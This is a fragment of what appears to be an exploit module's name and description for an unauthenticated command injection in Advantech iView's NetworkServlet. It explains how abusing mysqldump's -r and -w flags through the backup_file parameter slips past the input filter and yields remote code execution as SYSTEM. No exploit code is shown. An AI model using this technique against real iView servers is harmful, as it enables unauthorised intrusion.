'Name' => 'Advantech iView NetworkServlet Command Injection',
'Description' => %q{
Versions of Advantech iView software below `5.7.04.6469` are
vulnerable to an unauthenticated command injection vulnerability
via the `NetworkServlet` endpoint.
The database backup functionality passes a user-controlled parameter,
`backup_file` to the `mysqldump` command. The sanitization functionality only
tests for SQL injection attempts and directory traversal, so leveraging the
`-r` and `-w` `mysqldump` flags permits exploitation.
The command injection vulnerability is used to write a payload on the target
and achieve remote code execution as NT AUTHORITYSYSTEM.
